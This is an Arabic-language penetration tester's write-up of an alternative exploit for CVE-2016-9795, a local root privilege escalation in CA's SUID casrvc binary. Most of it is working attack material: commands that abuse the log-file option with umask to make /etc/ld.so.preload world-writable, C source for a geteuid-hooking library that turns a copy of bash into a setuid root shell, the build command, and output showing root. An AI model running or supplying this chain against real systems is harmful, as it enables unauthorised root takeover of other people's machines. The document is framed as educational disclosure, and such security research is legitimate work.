
إعادة فحص تصعيد الامتيازات CVE-2016-9795 (ملف casrvc الثنائي من حزمة CA Common Services)
في إحدى اختبارات الاختراق التي أجريتها، صادفتُ الثنائي casrvc بصلاحيات SUID (وهو جزء من حزمة CA Common Services). وكما اكتشفت، فإن هذا الثنائي عرضة لثغرة تصعيد امتيازات محلية. في الواقع، سبق أن نُسبت إلى هذه الثغرة CVE عامة (CVE-2016-9795) من قِبل مجموعة NCC.
الثغرة بسيطة حقاً، وكما اكتشفت لاحقاً، كشفت مجموعة NCC عن إثبات مفهوم (Proof-Of-Concept) في نشرة PDF الخاصة بها (https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/advisory-craigsblackie-cve-2016-9795.pdf). ومع ذلك، وخلال مهمة اختبار الاختراق الخاصة بي، اخترت مسار استغلال مختلفاً، وهو بديل قابل للتطبيق في البداية، وربما أقل خطورة إذا نُفذ بشكل صحيح.
تكمن الثغرة في الثنائي casrvc بصلاحيات SUID، الذي يكشف ميزة تتيح للمستخدم اختيار اسم الملف (والمسار المطلق) الذي ستُكتب إليه السجلات. جزء من ملف السجل هذا يتحكم به المستخدم، لذا في النهاية يمنح هذا المستخدم غير المميز القدرة على كتابة عشوائية مُتحكم بها إلى حد ما.
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /tmp/t/log_test stop "**[USER CONTROLLED INPUT]**"
[...]
2020-09-20 17:41:08 <22288:00002> [3]: Running in Very Verbose Mode.
2020-09-20 17:41:09 <22288:00003> [3]: INFO - Validating User ithc.oss
permission.
2016-08-08 17:41:09 <22288:00004> [0]: ERROR - User does not have permission to
start/stop **[USER CONTROLLED INPUT]**
إن إثبات المفهوم الموجود مسبقاً يكتفي بإلحاق مخرجات السجل بملف /etc/passwd من أجل إضافة إدخال مستخدم جديد ضمن مجموعة الجذر. قد تكون عملية الإلحاق بملف /etc/passwd أمراً محفوفاً بالمخاطر في بعض الأحيان، وفي حالتي أردت تجنب تعطيل الخادم بأي ثمن.
تقنية الاستغلال ليست جديدة، وقد تناولها العديد من الباحثين الآخرين (بما في ذلك @dawid_golunski و@itm4n). وهي تنطبق على هذا الثنائي، وأتحدث عنها هنا لأغراض تعليمية.
تتمثل في الإلحاق بملف /etc/ld.so.preload أو إنشائه. هذا الملف، كما هو موصوف في دليل Linux man ld.so، يسمح بتعريف قائمة بأسماء المكتبات (سطر واحد لكل مكتبة) التي سيتم تحميلها في كل مرة يتم فيها تشغيل أي ثنائي.
/etc/ld.so.preload
File containing a whitespace-separated list of ELF shared objects to be loaded before
the program. See the discussion of LD_PRELOAD above. If both LD_PRELOAD and
/etc/ld.so.preload are employed, the libraries specified by LD_PRELOAD are preloaded
first. /etc/ld.so.preload has a system-wide effect, causing the specified libraries to
be preloaded for all programs that are executed on the system. (This is usually unde‐
sirable, and is typically employed only as an emergency remedy, for example, as a tem‐
porary workaround to a library misconfiguration issue.)
خصوصية هذا الملف هي أن المكتبات المُحمَّلة مسبقاً تُحمَّل من أجل كل برنامج يُنفَّذ على النظام، بما في ذلك برامج SUID. وهذا بالطبع ليس هو الحال بالنسبة لمتغير البيئة "LD_PRELOAD" الذي يمكن لأي مستخدم تعيينه لتحميل المكتبات مسبقاً في سياق جلسته.
من أجل السيطرة الكاملة على محتوى الملف الذي يتم إنشاؤه، نستخدم أمر umask لتعيين قناع إنشاء وضع الملف. وبهذه الطريقة، عندما يتم إنشاء ملف السجل، سيكون لديه أذونات قراءة وكتابة للجميع.
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
ls -lah /etc/ld.so.preload
-rw-rw-rw- 1 root dsm 1 Nov 4 15:44 /etc/ld.so.preload
نحاول مسح محتوى الملف بسرعة كبيرة، لأنه بعد تنفيذ casrvc القابل للتنفيذ، لا يحتوي المحتوى على أي مكتبات .so صالحة، وسيؤدي ذلك إلى توليد رسائل خطأ في كل مرة يُشغَّل فيها أي برنامج على الكمبيوتر.
في حالتنا هذه، تعمل الحيلة باستخدام umask. لكن في بعض الأحيان، تقوم البرامج القابلة للتنفيذ بتعيين قيمة umask بنفسها، وفي هذه الحالة يتم استبدال قيمة umask الخاصة بنا وتجاهلها.
بعد ذلك، نقوم بإنشاء ملف .so. فيما يلي الكود المصدري لملف .so هذا. وهو يقوم بثلاثة أشياء:
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("/tmp/root_shell", 0, 0);
chmod("/tmp/root_shell", 06777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
لترجمته، نكتفي بـ:
gcc -Wall -fPIC -shared -o "/tmp/lib.so" "/tmp/lib.c" -ldl
في الأوامر السابقة، نفترض أن قسم /tmp غير مُحمَّل بخصائص NOEXEC أو NOSUID.
cp /bin/bash /tmp/root_shell
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
echo /tmp/lib.so > /etc/ld.so.preload
sudo
/tmp/root_shell
$ id
uid=0(root) gid=0(root) groups=0(root)